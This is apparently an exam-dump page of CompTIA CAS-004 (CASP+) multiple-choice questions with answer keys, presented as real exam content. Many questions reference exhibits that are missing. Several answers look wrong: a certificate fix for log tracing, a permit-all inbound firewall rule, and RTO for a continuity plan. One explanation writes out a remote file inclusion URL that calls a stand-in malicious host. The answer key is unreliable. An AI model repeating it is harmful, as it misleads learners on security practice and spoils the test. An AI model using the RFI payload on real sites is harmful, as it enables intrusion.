Use Real CAS-004 - 100% Cover Real Exam Questions [Jul-2023]
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CompTIA CAS-004, also known as the CompTIA Advanced Security Practitioner (CASP+) certification exam, is a globally recognized certification that validates advanced-level competency in cybersecurity. This certification is designed for professionals who want to advance their careers in cybersecurity and have at least ten years of experience in IT administration, including at least five years of hands-on technical security experience.
Preparation Guide of CompTIA CAS-004 Exam
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NEW QUESTION # 66
A customer reports being unable to connect to a website at www.test.com to consume services. The customer notices the web application has the following published cipher suite:
Which of the following is the MOST likely cause of the customer's inability to connect?
- A. The server name should be test.com.
- B. The default should be on port 80.
- C. Weak ciphers are being used.
- D. The public key should be using ECDSA.
Answer: C
NEW QUESTION # 67
A developer implement the following code snippet.
Which of the following vulnerabilities does the code snippet resolve?
- A. SQL inject
- B. Missing session limit
- C. Information leakage
- D. Buffer overflow
Answer: C
NEW QUESTION # 68
An organization's assessment of a third-party, non-critical vendor reveals that the vendor does not have cybersecurity insurance and IT staff turnover is high. The organization uses the vendor to move customer office equipment from one service location to another. The vendor acquires customer data and access to the business via an API.
Given this information, which of the following is a noted risk?
- A. Financial liability from a vendor data breach
- B. Feature delay due to extended software development cycles
- C. The possibility of the vendor's business ceasing operations
- D. Technical impact to the API configuration
Answer: A
NEW QUESTION # 69
Due to internal resource constraints, the management team has asked the principal security architect to recommend a solution that shifts partial responsibility for application-level controls to the cloud provider. In the shared responsibility model, which of the following levels of service meets this requirement?
- A. FaaS
- B. laaS
- C. PaaS
- D. SaaS
Answer: C
NEW QUESTION # 70
An organization is deploying a new, online digital bank and needs to ensure availability and performance. The cloud-based architecture is deployed using PaaS and SaaS solutions, and it was designed with the following considerations:
- Protection from DoS attacks against its infrastructure and web applications is in place.
- Highly available and distributed DNS is implemented.
- Static content is cached in the CDN.
- A WAF is deployed inline and is in block mode.
- Multiple public clouds are utilized in an active-passive architecture.
With the above controls in place, the bank is experiencing a slowdown on the unauthenticated payments page.
Which of the following is the MOST likely cause?
- A. The public cloud provider is applying QoS to the inbound customer traffic.
- B. The API gateway endpoints are being directly targeted.
- C. The site is experiencing a brute-force credential attack.
- D. A DDoS attack is targeted at the CDN.
Answer: A
NEW QUESTION # 71
Due to adverse events, a medium-sized corporation suffered a major operational disruption that caused its servers to crash and experience a major power outage. Which of the following should be created to prevent this type of issue in the future?
- A. BCM
- B. BIA
- C. SLA
- D. RTO
- E. BCP
Answer: D
NEW QUESTION # 72
A security analyst is reading the results of a successful exploit that was recently conducted by third-party penetration testers. The testers reverse engineered a privileged executable. In the report, the planning and execution of the exploit is detailed using logs and outputs from the test However, the attack vector of the exploit is missing, making it harder to recommend remediation's. Given the following output:
The penetration testers MOST likely took advantage of:
- A. A plain-text password disclosure
- B. An integer overflow vulnerability
- C. A TOC/TOU vulnerability
- D. A buffer overflow vulnerability
Answer: C
NEW QUESTION # 73
Which of the following technologies allows CSPs to add encryption across multiple data storages?
- A. Symmetric encryption
- B. Homomorphic encryption
- C. Bit splitting
- D. Data dispersion
Answer: C
NEW QUESTION # 74
A security analyst is investigating a series of suspicious emails by employees to the security team. The email appear to come from a current business partner and do not contain images or URLs. No images or URLs were stripped from the message by the security tools the company uses instead, the emails only include the following in plain text.
Which of the following should the security analyst perform?
- A. Configure the email gateway to automatically quarantine all messages originating from the business partner.
- B. Pull the devices of the affected employees from the network in case they are infected with a zero-day virus.
- C. Contact the security department at the business partner and alert them to the email event.
- D. Block the IP address for the business partner at the perimeter firewall.
Answer: C
NEW QUESTION # 75
A company has decided to purchase a license for software that is used to operate a mission-critical process.
The third-party developer is new to the industry but is delivering what the company needs at this time.
Which of the following BEST describes the reason why utilizing a source code escrow will reduce the operational risk to the company if the third party stops supporting the application?
- A. The company will be able to force the third-party developer to continue support.
- B. The company will be able to manage the third-party developer's development process.
- C. The company will have access to the latest version to continue development.
- D. The company will be paid by the third-party developer to hire a new development team.
Answer: C
NEW QUESTION # 76
Company A acquired Company B.
During an audit, a security engineer found Company B's environment was inadequately patched.
In response, Company A placed a firewall between the two environments until Company B's infrastructure could be integrated into Company A's security program.
Which of the following risk-handling techniques was used?
- A. Transfer
- B. Avoid
- C. Mitigate
- D. Accept
Answer: C
NEW QUESTION # 77
An organization is preparing to migrate its production environment systems from an on-premises environment to a cloud service. The lead security architect is concerned that the organization's current methods for addressing risk may not be possible in the cloud environment.
Which of the following BEST describes the reason why traditional methods of addressing risk may not be possible in the cloud?
- A. Cloud providers are unable to avoid risk.
- B. Specific risks cannot be transferred to the cloud provider.
- C. Migrating operations assumes the acceptance of all risk.
- D. Risks to data in the cloud cannot be mitigated.
Answer: D
NEW QUESTION # 78
A networking team asked a security administrator to enable Flash on its web browser. The networking team explained that an important legacy embedded system gathers SNMP information from various devices. The system can only be managed through a web browser running Flash. The embedded system will be replaced within the year but is still critical at the moment.
Which of the following should the security administrator do to mitigate the risk?
- A. Explain to the networking team the reason Flash is no longer available and insist the team move up the timetable for replacement.
- B. Air gap the legacy system from the network and dedicate a laptop with an end-of-life OS on it to connect to the system via crossover cable for management.
- C. Isolate the management interface to a private VLAN where a legacy browser in a VM can be used as needed to manage the system.
- D. Suggest that the networking team contact the original embedded system's vendor to get an update to the system that does not require Flash.
Answer: C
NEW QUESTION # 79
An organization is planning for disaster recovery and continuity of operations.
INSTRUCTIONS
Review the following scenarios and instructions. Match each relevant finding to the affected host.
After associating scenario 3 with the appropriate host(s), click the host to select the appropriate corrective action for that finding.
Each finding may be used more than once.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION # 80
A security architect is reviewing the following proposed corporate firewall architecture and configuration:
Both firewalls are stateful and provide Layer 7 filtering and routing. The company has the following requirements:
Web servers must receive all updates via HTTP/S from the corporate network.
Web servers should not initiate communication with the Internet.
Web servers should only connect to preapproved corporate database servers.
Employees' computing devices should only connect to web services over ports 80 and 443.
Which of the following should the architect recommend to ensure all requirements are met in the MOST secure manner? (Choose two.)
- A. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP 0-65535
- B. Add the following to Firewall_B: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0 TCP/UDP 0-65535
- C. Add the following to Firewall_A: 15 PERMIT FROM 192.168.1.0/24 TO 0.0.0.0 TCP 80,443
- D. Add the following to Firewall_A: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP 80,443
- E. Add the following to Firewall_B: 15 PERMIT FROM 192.168.1.0/24 TO 10.0.2.10/32 TCP 80,443
- F. Add the following to Firewall_B: 15 PERMIT FROM 0.0.0.0/0 TO 10.0.0.0/16 TCP/UDP 0-65535
Answer: D,F
NEW QUESTION # 81
A company is implementing SSL inspection. During the next six months, multiple web applications that will be separated out with subdomains will be deployed.
Which of the following will allow the inspection of the data without multiple certificate deployments?
- A. Use a third-party CA.
- B. Implement certificate pinning.
- C. Include all available cipher suites.
- D. Create a wildcard certificate.
Answer: D
NEW QUESTION # 82
A security engineer notices the company website allows users following example:
hitps://mycompany.com/main.php?Country=US
Which of the following vulnerabilities would MOST likely affect this site?
- A. SQL injection
- B. Remote file inclusion
- C. Unsecure references
- D. Directory traversal -
Answer: B
Explanation:
Explanation
Remote file inclusion (RFI) is a web vulnerability that allows an attacker to include malicious external files that are later run by the website or web application12. This can lead to code execution, data theft, defacement, or other malicious actions. RFI typically occurs when a web application dynamically references external scripts using user-supplied input without proper validation or sanitization23.
In this case, the website allows users to specify a country parameter in the URL that is used to include a file from another domain. For example, an attacker could craft a URL like this:
https://mycompany.com/main.php?Country=https://malicious.com/evil.php
This would cause the website to include and execute the evil.php file from the malicious domain, which could contain any arbitrary code3.
NEW QUESTION # 83
A security analyst is reviewing the following vulnerability assessment report:
Which of the following should be patched FIRST to minimize attacks against Internet-facing hosts?
- A. Server2
- B. Server1
- C. Servers
- D. Server 3
Answer: B
NEW QUESTION # 84
A developer wants to develop a secure external-facing web application. The developer is looking for an online community that produces tools, methodologies, articles, and documentation in the field of web-application security Which of the following is the BEST option?
- A. OWASP
- B. PCI DSS
- C. ICANN
- D. CSA
- E. NIST
Answer: A
NEW QUESTION # 85
An auditor Is reviewing the logs from a web application to determine the source of an Incident. The web application architecture Includes an Internet-accessible application load balancer, a number of web servers In a private subnet, application servers, and one database server In a tiered configuration. The application load balancer cannot store the logs. The following are sample log snippets:
Which of the following should the auditor recommend to ensure future incidents can be traced back to the sources?
- A. Use stored procedures on the database server.
- B. Store the value of the $_server ( ' REMOTE_ADDR ' ] received by the web servers.
- C. Install a certificate signed by a trusted CA.
- D. Install a software-based HIDS on the application servers.
- E. Enable the x-Forwarded-For header al the load balancer.
Answer: C
NEW QUESTION # 86
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The CompTIA Advanced Security Practitioner (CASP+) certification is designed for experienced IT professionals who want to demonstrate their advanced cybersecurity skills and knowledge. The certification validates the skills required to conceptualize, design, and engineer secure solutions across complex enterprise environments. The CompTIA CASP+ certification is recognized globally and is highly regarded in the cybersecurity industry as it focuses on practical, hands-on skills that can be applied in real-world scenarios.
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